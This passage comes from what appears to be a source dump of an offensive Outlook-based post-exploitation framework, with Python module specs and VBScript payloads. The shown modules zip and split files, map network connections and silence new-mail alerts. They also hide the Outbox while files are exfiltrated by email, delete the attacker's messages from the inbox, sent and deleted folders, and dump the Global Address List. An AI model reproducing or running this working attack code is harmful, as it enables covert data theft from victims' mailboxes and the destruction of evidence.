\t\tExt = Right(\"00\" & Ext + 1, 3)\r\n    \t\tif ext > \"999\" then Error (\"Too many files - maximum is 999!\")\r\n\r\n    \t\tNewName = TargetDir & \"\\\" & Name & Ext\r\n    \t\tSet oFile = oFSO.CreateTextFile(NewName, 2)\r\n\r\n\t\t\tIf Size > Len(data)+1 - offset Then Size = Len(data) + 1 - offset\r\n    \r\n    \t\toFile.Write Mid(Data, offset, Size)\r\n    \t\toffset = offset + Size\r\n    \t\toFile.Close\r\n\t\t\tsplit_file = split_file & \"Created file: \" & NewName & vbCrLf\r\n\r\n  \t\tLoop Until offset >= Len(data)\r\n\t\tsplit_file = split_file & FullName & \" splitted into \" & Ext & \" parts.\"\r\n\t\t\r\n\telse\r\n\t\tsplit_file = \"Error - \" & FullName & \" not found or some other strange error\"\r\n\tend if\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/zip_content.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will zip file or folder with contents specified.\n\n        You specify the file/folder you want to zip using the path option - Full path. \n        You specify the out zip file with the zipfile option - Full path\n        \n        It uses Scripting.FileSystemObject\n        - FileExists\n        - FolderExists\n        - GetBaseName\n        - GetFile\n        - GetFolder\n        - GetFileName\n        - GetParentFolderName\n        - BuildPath\n        - OpenTextFile\n        - GetAbsolutePathName\n\n        It uses shell.application\n        - Namespace\n        - Namespace().CopyHere\n        \"\"\"\n        self.entry = 'zip_content'\n        self.depends = []\n        self.options['path'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Target path of file/folder to zip - Ex: c:\\\\temp\\\\folderwithfiles or c:\\\\temp\\\\file.exe\",\n            \"handler\": quotedstring\n        }\n        self.options['zipfile'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to outputted zipped file - Ex: c:\\\\temp\\\\outfile.zip\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/zip_content.txt",
    "content": "Function zip_content()\n\ton error resume next\n\tSet oFSO = window.external.OutlookApplication.CreateObject(\"Scrip\" & \"ting.File\" & \"SystemObject\")\n\tSet oShl = window.external.OutlookApplication.CreateObject(\"shell.application\")\n\tPath2Zip = {{ path }}\n\tZipOutputFile = {{ zipfile }}\n\n\tIf oFSO.FileExists(Path2Zip) Then\n        \t' The source is an existing file.\n        \tZipName = oFSO.GetBaseName(Path2Zip) & ZipExtension\n        \tZipPath = oFSO.GetFile(Path2Zip).ParentFolder\n\tElseIf oFSO.FolderExists(Path2Zip) Then\n        \t' The source is an existing folder.\n        \tZipName = oFSO.GetBaseName(Path2Zip) & ZipExtension\n        \tZipPath = oFSO.GetFolder(Path2Zip).ParentFolder\n    \tElse\n        \t' The source does not exist.\n    \tEnd If\n\n\tIf ZipName = \"\" Then\n        \t' Nothing to zip. Exit.\n        \tDestination = \"\"\n\tElse\n\t\tIf Destination <> \"\" Then\n            \t\tIf oFSO.GetExtensionName(Destination) = \"\" Then\n                \t\t' Destination is a folder.\n                \t\tZipPath = Destination\n            \t\tElse\n\t\t\t\t' Destination is a file.\n                \t\tZipName = oFSO.GetFileName(Destination)\n                \t\tZipPath = oFSO.GetParentFolderName(Destination)\n            \t\tEnd If\n        \tElse\n            \t\t' Use the already found folder of the source.\n        \tEnd If\n\t\tZipFile = oFSO.BuildPath(ZipPath, ZipName)\n        \tIf oFSO.FileExists(ZipFile) Then\n            \t\tIf Overwrite = True Then\n                \t\t' Delete an existing file.\n                \t\toFSO.DeleteFile ZipFile, True\n                \tElse\n                \t\tZipBase = oFSO.GetBaseName(ZipFile)\n                \t\t' Modify name of the zip file to be created to preserve an existing file:\n                \t\t'   \"Example.zip\" -> \"Example (2).zip\", etc.\n                \t\tVersion = Version + 1\n                \t\tDo\n                    \t\t\tVersion = Version + 1\n                    \t\t\tZipFile = oFSO.BuildPath(ZipPath, ZipBase & Format(Version, \" \\(0\\)\") & ZipExtension)\n                \t\tLoop Until oFSO.FileExists(ZipFile) = False Or Version > MaxZipVersion\n                \t\tIf Version > MaxZipVersion Then\n                        \t\tErr.Raise ErrorPathFile, \"Zip Create\", \"File could not be created.\"\n                \t\tEnd If\n            \t\tEnd If\n        \tEnd If\n\t\tZipTemp = ZipOutputFile\n       \t'Header string\n        ZipHeader = Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, vbNullChar)\n        With oFSO.OpenTextFile(ZipTemp, 2, True)\n            .Write ZipHeader\n            .Close\n        End With\n\n        ' Resolve relative paths.\n        ZipTemp = oFSO.GetAbsolutePathName(ZipTemp)\n        Path = oFSO.GetAbsolutePathName(Path2Zip)\n        \n\t With oShl\n            .Namespace(ZipTemp).CopyHere Path\n            On Error Resume Next\n            Do Until .Namespace(ZipTemp).Items.Count = 1\n                Sleep 50\n            Loop\n            On Error GoTo 0\n        End With\n\tEnd If\n\tzip_content = \"Content from \" & Path2Zip & \" zipped into \" & ZipTemp\nEnd Function"
  },
  {
    "path": "functions/operation/network/netstat.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = r\"\"\"\n        This module attempts to recreate netstat in vbscript.\n        This will use the WMI class MSFT_NetTCPConnection to retrieve the info.\n\n        It uses: \n        WbemScripting.SWbemLocator\n        ConnectServer(\".\", \"root\\StandardCimv2\")\n        SELECT FROM MSFT_NetTCPConnection\n        \"\"\"\n        self.entry = 'netstat'\n        self.depends = []\n        self.options = {}\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/network/netstat.txt",
    "content": "function netstat()\n    on error resume next\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\n    Set objWMIService = objLocator.ConnectServer(\".\", \"root\\StandardCimv2\")\n    \n    Set colNetstat = objWMIService.ExecQuery(\"SELECT LocalAddress, RemoteAddress, RemotePort FROM MSFT_NetTCPConnection WHERE State = 5 AND RemoteAddress <> '127.0.0.1' AND RemoteAddress <> '::1' AND RemotePort < 49152\")\n    \n    If colNetstat.Count = 0 Then\n        netstat = \"No active TCP connections found.\"\n    Else\n        For Each conn In colNetstat\n            netstat = netstat & \"Local: \" & conn.LocalAddress & \" | Remote: \" & conn.RemoteAddress & \":\" & conn.RemotePort & vbCrLf\n        Next\n    End If\nend function"
  },
  {
    "path": "functions/operation/network/nslookup.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = r\"\"\"\n        This module attempts to recreate nslookup in vbscript.\n        This will use the WMI class Win32_PingStatus to ping the host and get the IP address.\n        Resolving the IP will fail if ping is not allowed.\n\n        It uses: \n        WbemScripting.SWbemLocator\n        ConnectServer(\".\", \"root\\cimv2\")\n        SELECT * FROM Win32_PingStatus WHERE Address\n        \"\"\"\n        self.entry = 'nslookup'\n        self.depends = []\n        self.options['hostname'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Hostname to resolve\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/network/nslookup.txt",
    "content": "function nslookup()\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\n    Set objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\n\n    Set colPings = objWMIService.ExecQuery(\"SELECT * FROM Win32_PingStatus WHERE Address = '\" & {{hostname}} & \"'\")\n\n    For Each objPing in colPings\n        If objPing.StatusCode = 0 Then\n            nslookup = \"Hostname: \" & {{hostname}} & \" = \" & objPing.ProtocolAddress\n        Else\n            nslookup = \"Failed to resolve: \" & {{hostname}}\n        End If\n    Next\nend function"
  },
  {
    "path": "functions/operation/outlook/adjust_notifications.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Requires restart of Outlook to take effect after you have changed the settings.\n        Set the different options to False to disable them.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).CreateKey\n        - ConnectServer(root\\cimv2).SetStringValue\n        - ConnectServer(root\\cimv2).SetDWORDValue\n        \"\"\"\n        self.entry = 'adjust_notifications'\n        self.depends = ['./helperFunctions/Setregvalue_hkcu.txt']\n        self.options['envelope'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"True enables envelope in taskbar on new email, False disables\",\n            \"handler\": makebool,\n            \"hidden\": False,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}         \n        }\n        self.options['sound'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"True enables sound on new email, False disables\",\n            \"handler\": makebool,\n            \"hidden\": False,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}         \n        }\n        self.options['toast'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"True enables toast popup on new email, False disables\",\n            \"handler\": makebool,\n            \"hidden\": False,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}         \n        }\n        super().__init__(templatepath)\n    \n    "
  },
  {
    "path": "functions/operation/outlook/adjust_notifications.txt",
    "content": "Function adjust_notifications()\r\n\tOn Error Resume Next\r\n\tbasepath = \"software\\microsoft\\office\\outlook\\Settings\\Data\"\r\n\tversion = left(window.external.OutlookApplication.Version,4)\r\n\tbasepath2 = \"SOFTWARE\\Microsoft\\Office\\\" & version & \"\\Outlook\\Preferences\"\r\n\tif {{toast}} Then\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_NewmailToast\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"true\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\telse\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_NewmailToast\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\tend if\r\n\r\n\tif {{sound}} Then\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_PlaySound\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"true\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\t\tSetit = SetRegValue_HKCU(basepath2, \"REG_DWORD\", \"PlaySound\", 1)\r\n\telse\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_PlaySound\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\t\tSetit = SetRegValue_HKCU(basepath2, \"REG_DWORD\", \"PlaySound\", 0)\r\n\tend if\r\n\r\n\tif {{envelope}} Then\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_ShowEnvelope\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"true\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\t\tSetit = SetRegValue_HKCU(basepath2, \"REG_DWORD\", \"ShowEnvelope\", 1)\r\n\telse\r\n\t\tSetit = SetRegValue_HKCU(basepath, \"REG_SZ\", \"global_Mail_ShowEnvelope\", \"{\" & chr(34) & \"name\" & chr(34) & \":\" & chr(34) & \"Mail_NewmailToast\" & chr(34) & \",\" & chr(34) & \"itemClass\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"id\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"scope\" & chr(34) & \":\" & chr(34) & \"global\" & chr(34) & \",\" & chr(34) & \"parentSetting\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"secondaryKey\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"status\" & chr(34) & \":\" & chr(34) & \"PENDINGSYNC\" & chr(34) & \",\" & chr(34) & \"type\" & chr(34) & \":\" & chr(34) & \"Bool\" & chr(34) & \",\" & chr(34) & \"timestamp\" & chr(34) & \":0,\" & chr(34) & \"metadata\" & chr(34) & \":\" & chr(34) & chr(34) & \",\" & chr(34) & \"value\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"isFirstSync\" & chr(34) & \":\" & chr(34) & \"false\" & chr(34) & \",\" & chr(34) & \"source\" & chr(34) & \":\" & chr(34) & \"UserOverride\" & chr(34) & \"}\")\r\n\t\tSetit = SetRegValue_HKCU(basepath2, \"REG_DWORD\", \"ShowEnvelope\", 0)\r\n\tend if\r\n\tadjust_notifications = \"Adjusted - \" & basepath\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/change_outlookfolder.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to hide or unhide folders in outlook.\n        Typical usecase is when you are about to send files using the\n        sendfile_mail module you want to hide the outbox first.\n        After all files are exfiled you can then unhide it.\n\n        folder option should be set to int value found here: \n        https://docs.microsoft.com/en-us/office/vba/api/outlook.oldefaultfolders\n        That means, \n        outbox would be 4\n        inbox would be 6\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).PropertyAccessor\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).PropertyAccessor.SetProperty\n        \"\"\"\n        self.entry = 'change_outlookfolder'\n        self.depends = []\n        self.options['folder'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Folder to hide or unhide\",\n            \"handler\": makeint\n        }\n        self.options['hidden'] = {\n            \"value\": False,\n            \"required\": True,\n            \"description\": \"Set to True if you want to hide folder\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}            \n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/change_outlookfolder.txt",
    "content": "Function change_outlookfolder()\r\n\ton error resume next\r\n\tValue = {{ hidden }}\r\n\tPropName = \"http://schemas.microsoft.com/mapi/proptag/0x10F4000B\"\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder({{ folder }})\r\n\tSet oPA = folder.PropertyAccessor\r\n\toPA.SetProperty PropName, Value\r\n\tchange_outlookfolder = \"Folder: \" & folder & \"  - Hidden set to: \" & Value\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/changeview_outlookfolder.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to change the view for the user in Outlook.\n        You can use this to for instance navigate the user to the calendar/tasks/junk etc\n\n        folder option should be set to int value found here: \n        https://docs.microsoft.com/en-us/office/vba/api/outlook.oldefaultfolders\n        That means, \n        outbox would be 4\n        inbox would be 6\n        sent would be 5\n        tasks would be 13\n        calendar would be 9\n        junk would be 23\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE)\n        - ActiveExplorer.CurrentFolder\n        \"\"\"\n        self.entry = 'changeview_outlookfolder'\n        self.depends = []\n        self.options['folder'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Folder to hide or unhide\",\n            \"handler\": makeint\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/changeview_outlookfolder.txt",
    "content": "Function changeview_outlookfolder()\r\n\ton error resume next\r\n\tSet folder = window.external.OutlookApplication.GetNameSpace(\"MAPI\").GetDefaultFolder({{ folder }})\r\n\tSet window.external.OutlookApplication.ActiveExplorer.CurrentFolder = folder\r\n\tchangeview_outlookfolder = \"Changed View to: \" & folder\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/delete_mail.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will delete mails in inbox and deleted items by default.\n        If you set the delete_sent_items option to true it will look for mails in the sent items\n        folder where your sender option is in the to field (mails sent from user to you)\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).Items\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).Items().Delete\n        \"\"\"\n        self.entry = 'delete_mail'\n        self.depends = []\n        self.options['sender'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Mails you want to delete sent from (your attacker mail address)\",\n            \"handler\": quotedstring\n        }\n        self.options['delete_sent_items'] = {\n            \"value\": \"False\",\n            \"required\": True,\n            \"description\": \"Set to True if you want to delete items in sent folder\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}            \n        }\n        self.options['delete_permanent'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"True means nuking mails from deleted items after deleting from inbox and sent items\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}            \n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/delete_mail.txt",
    "content": "Function delete_mail()\r\n\ton error resume next\r\n\tdeleteperm = {{ delete_permanent }}\r\n\tdeletesent = {{ delete_sent_items }}\r\n\tPropName = \"http://schemas.microsoft.com/mapi/proptag/0x39FE001E\"\r\n\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder(6)\r\n\tSet mails = folder.Items\r\n\tFor Each objMail in mails\r\n\t\tif LCase(objMail.SenderEmailAddress) = LCase({{ sender }}) then\r\n\t\t\tdelete_mail = delete_mail & \"Inbox - Deleted mail from: \" & objMail.SenderEmailAddress & \" sent to: \" & objMail.To & vbCrLf\r\n\t\t\tobjMail.Delete\r\n\t\tend if\r\n\tNext\r\n\r\n\tif deletesent then\r\n\t\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder(5)\r\n\t\tSet mails = folder.Items\r\n\t\tFor Each objMail in mails\r\n\t\t\tSet recips = objMail.Recipients\r\n\t\t\tFor Each rec In recips\r\n\t\t\t\tSet oPA = rec.PropertyAccessor\r\n\t\t\t\tif LCase(oPA.GetProperty(PropName)) = LCase({{ sender }}) then\r\n\t\t\t\t\tdelete_mail = delete_mail & \"Sent items - Deleted mail from: \" & objMail.SenderEmailAddress & \" sent to: \" & LCase(oPA.GetProperty(PropName)) & vbCrLf\r\n\t\t\t\t\tobjMail.Delete\r\n\t\t\t    end if\r\n\t\t\tNext\t\r\n\t\tNext\r\n\tend if\r\n\r\n\tif deleteperm then\r\n\t\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder(3)\r\n\t\tSet mails = folder.Items\r\n\t\tFor Each objMail in mails\r\n\t\t\tSet recips = objMail.Recipients\r\n\t\t\tFor Each rec In recips\r\n\t\t\t\tSet oPA = rec.PropertyAccessor\r\n\t\t\t\tif LCase(oPA.GetProperty(PropName)) = LCase({{ sender }}) then\r\n\t\t\t\t\tdelete_mail = delete_mail & \"Deleted items - Deleted mail from: \" & objMail.SenderEmailAddress & \" sent to: \" & LCase(oPA.GetProperty(PropName)) & vbCrLf\r\n\t\t\t\t\tobjMail.Delete\r\n\t\t\t\tend if\r\n\t\t\tNext\t\r\n\t\t\tif LCase(objMail.SenderEmailAddress) = LCase({{ sender }}) then\r\n\t\t\t\tdelete_mail = delete_mail & \"Deleted items - Deleted mail from: \" & objMail.SenderEmailAddress & \" sent to: \" & objMail.To & vbCrLf\r\n\t\t\t\tobjMail.Delete\r\n\t\t\tend if\r\n\t\tNext\r\n\tend if\r\n\tif delete_mail = \"\" then\r\n\t\tdelete_mail = \"No emails found from/to: \" & {{ sender }}\r\n\tend if\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/dump_gal.py",
    "content": "import math\nimport copy\nimport traceback\nfrom lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nfrom lib.core.utility import TaskClass\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        !! PLEASE AVOID USING THIS FOR NOW !!\n        This module attempts to dump the GAL. \n        !! There have been issues where this triggers external program access Outlook data !!\n        !! PLEASE AVOID USING THIS FOR NOW !!\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetGlobalAddressList().AddressEntries\n        \"\"\"\n        self.entry = 'dump_gal'\n        self.depends = []\n        self.options['chunksize'] = {\n            \"value\": 50,\n            \"required\": True,\n            \"description\": \"number of entries to download per pull\",\n            \"handler\": None\n        }\n        self.options['dest'] = {\n            \"value\": '/tmp/gal',\n            \"required\": True,\n            \"description\": \"base name for where we are writing GAL\",\n            \"handler\": None,\n            \"tab_complete\": self.helpers.complete_path\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if len(data) > 0: # we opened the file and got a size\n            try:\n                with open(options['dest']['value'] + '.contacts', 'w') as contacts:\n                    with open(options['dest']['value'] + '.ExchangeUsers', 'w') as ExchangeUsers:\n                        with open(options['dest']['value'] + '.Distros', 'w') as Distros:\n                            contacts.write(\"Email;Firstname;LastName;MobileNumber;OfficeLocation;JobTitle;OfficePhone;City;stateorprovince;PostalCode;StreetAddress;Company\\n\")\n                            ExchangeUsers.write(\"Email;Firstname;LastName;MobileNumber;OfficeLocation;JobTitle;OfficePhone;City;stateorprovince;PostalCode;StreetAddress;Company\\n\")\n                            Distros.write(\"Email;Name;Alias;Comments\\n\")\n                size = int(data) # force valueerror if our size is off\n                if size == 0:\n                    self.helpers.speclog(\"{}: GAL is empty\".format(agent.hostname), output=True)\n                    return\n                DF = self.helpers.get_module('downloadGAL', hidden=True) # module to download each chunk\n                DF.options['curloc']['value'] = 1\n                DF.options['chunksize']['value'] = \\\n                    int(options['chunksize']['value']) if int(options['chunksize']['value']) < size else size\n                DF.options['dest']['value'] = options['dest']['value']\n                DF.options['totalsize']['value'] = size\n                if DF.options['chunksize']['value'] == DF.options['totalsize']['value']:\n                    DF.options['done']['value'] = True\n                task = TaskClass('downloadGAL',\n                                 self.helpers.renderModule(DF, agent),\n                                 DF.entry,\n                                 copy.deepcopy(DF.options),\n                                 True,\n                                 'Download GAL part 1 / {}'.format(math.ceil(size / int(options['chunksize']['value']))),\n                                 printlog=False)\n                agent.add_task(task)\n            except Exception as msg:\n                traceback.print_exc()\n                self.helpers.speclog(\"{}: Failed to start GAL download : {}\".format(agent.hostname, msg), output=True)\n        else:\n            